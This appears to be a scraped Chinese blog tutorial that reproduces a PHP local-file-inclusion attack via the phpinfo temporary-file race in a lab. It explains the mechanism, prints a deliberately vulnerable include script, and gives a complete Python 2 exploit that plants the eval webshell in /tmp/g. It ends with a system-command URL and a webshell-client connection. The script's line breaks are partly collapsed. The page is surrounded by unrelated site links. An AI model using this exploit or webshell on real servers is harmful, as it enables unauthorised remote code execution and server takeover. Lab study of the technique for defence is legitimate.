当前位置: 首页 > news >正文

网站后台有安全狗网站建设板块建议

网站后台有安全狗,网站建设板块建议,wordpress flashfxp,泰安网站建设个人工作室目录 前言 原理 漏洞复现 靶场环境 源码 复现过程 前言 PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如session文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服…

目录

前言

原理

漏洞复现

靶场环境

源码

复现过程


前言

PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如session文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,此时可以通过利用一些技巧让服务存储我们恶意生成的临时文件,该临时文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

$_FILES['userfile']['name'] 客户端文件的原名称。
$_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"。
$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
$_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。

原理

过程

1.发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

2.phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

3.php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

4.操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

6.利用这个时间差,发第二个数据包,即可成功包含临时文件,最终getshell

处理
PHP 对 enctype="multipart/form-data"请求的处理过程如下:
1、请求到达;
2、创建临时文件(通常是/tmp/php[6 个随机字符]),并写入上传文件的内容;
3、调用相应 PHP 脚本进行处理,如校验名称、大小等;
4、删除临时文件。
总结
php post 上传文件产生临时文件,phpinfo读临时文件的路径和名字,本地包含后生成后门

漏洞复现

靶场环境

  • kali(192.168.10.128)
  • Ubuntu(192.168.10.139)

源码

  • upload.html(kali)
<!doctype html>
<html>
<body>
<form action="http://192.168.10.139/06/phpinfo.php" method="POST"
enctype="multipart/form-data">
<h3> Test upload tmp file</h3>
<label for="file">Filename:</label>
<input type="file" name="file"/><br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
  • lfi.php(Ubuntu) 
<?php
include $_GET['file'];
?>
  • phpinfo.php(Ubuntu)
<?php
phpinfo();
?>
  • 代码测试
http://ip/06/lfi.php?file=phpinfo.php

  • py2脚本
#!/usr/bin/python 
import sys
import threading
import socketdef setup(host, port):TAG="Security Test"PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAGREQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOADpadding="A" * 5000REQ1="""POST /06/phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)#modify this to suit the LFI script   LFIREQ="""GET /06/lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq)d = ""while len(d) < offset:d += s.recv(offset)try:i = d.index("[tmp_name] =&gt; ")fn = d[i+17:i+31]except ValueError:return Nones2.send(lfireq % (fn, host))d = s2.recv(4096)s.close()s2.close()if d.find(tag) != -1:return fncounter=0
class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event = eself.lock =  lself.maxattempts = mself.args = argsdef run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter+=1try:x = phpInfoLFI(*self.args)if self.event.is_set():break                if x:print "\nGot it! Shell created in /tmp/g"self.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):"""Gets offset of tmp_name in the php output"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))s.send(phpinforeq)d = ""while True:i = s.recv(4096)d+=i        if i == "":break# detect the final chunkif i.endswith("0\r\n\r\n"):breaks.close()i = d.find("[tmp_name] =&gt; ")if i == -1:raise ValueError("No php tmp_name in phpinfo output")print "found %s at %i" % (d[i:i+10],i)# padded up a bitreturn i+256def main():print "LFI With PHPInfo()"print "-=" * 30if len(sys.argv) < 2:print "Usage: %s host [port] [threads]" % sys.argv[0]sys.exit(1)try:host = socket.gethostbyname(sys.argv[1])except socket.error, e:print "Error with hostname %s: %s" % (sys.argv[1], e)sys.exit(1)port=80try:port = int(sys.argv[2])except IndexError:passexcept ValueError, e:print "Error with port %d: %s" % (sys.argv[2], e)sys.exit(1)poolsz=10try:poolsz = int(sys.argv[3])except IndexError:passexcept ValueError, e:print "Error with poolsz %d: %s" % (sys.argv[3], e)sys.exit(1)print "Getting initial offset...",  reqphp, tag, reqlfi = setup(host, port)offset = getOffset(host, port, reqphp)sys.stdout.flush()maxattempts = 1000e = threading.Event()l = threading.Lock()print "Spawning worker pool (%d)..." % poolszsys.stdout.flush()tp = []for i in range(0,poolsz):tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))for t in tp:t.start()try:while not e.wait(1):if e.is_set():breakwith l:sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))sys.stdout.flush()if counter >= maxattempts:breakprintif e.is_set():print "Woot!  \m/"else:print ":("except KeyboardInterrupt:print "\nTelling threads to shutdown..."e.set()print "Shuttin' down..."for t in tp:t.join()if __name__=="__main__":main()

复现过程

修改py脚本中的PHPinfo和lfi的位置,以及一句话后门的密码,在kali中用pyhton2执行脚本

python2 lfi.py 192.168.10.139 80

现在我们查询Ubuntu的/tem目录,发现后门已经生成

尝试包含

http://ip/06/lfi.php?file=/tmp/g&1=system(%27ls%20/%27);

蚁剑连接

http://www.yayakq.cn/news/343157/

相关文章:

  • 做网站广告Dw怎么做网站往里面加标题和字
  • 温州大军建设有限公司网站久久建筑网账号
  • 网站广告接入江苏哪家做网站排名比较好
  • 南宁网站建设外包做啥网站
  • 焦作网站开发东莞网站建设制作价格
  • 昆明做网站哪家水墨风logo一键制作
  • 网站图标怎么做网站上官网标识怎么做
  • 网站如何维护直播网站建设开发
  • 医疗机构网站以患者做宣传网站建设数据库是什么意思
  • flash做网站网站建设公司销售经理职责
  • 网站报错解析盘锦市政建设集团网站
  • 营销网站建设阿凡达公司网站seo优化的
  • 不到网站是为什么个人论坛类网站
  • 网站备案号码查询华容县住房和城乡建设局网站
  • 包头网站建设优化vs做的网站怎么让局域网的看到
  • 网站的全栈建设网络营销方式的选择
  • 网站建设项目分析长沙做网站的公司对比
  • 网站制定手机界面设计教程
  • 成都网站建设优化企业排名浙江省建设监理协会网站
  • 城市建设投资公司 网站北京网页设计师培训
  • 网站移动端开发需要哪些技术网页设计图纸
  • 做付费推广哪个网站好泰安短视频seo
  • 有哪些企业建设网站备案查询站长之家
  • 想建个网站什么代码都是自己写做网站工资多钱
  • 网站登录界面设计wordpress废弃函数
  • 创同盟做网站装潢设计专业主要学什么
  • 盐城市网站校园网站建设特色
  • wordpress网站数据库存在哪里专业制作网站是什么
  • 网站建设丶金手指下拉十五东莞手工活外发加工网
  • 上海公司网站设科技元素logo设计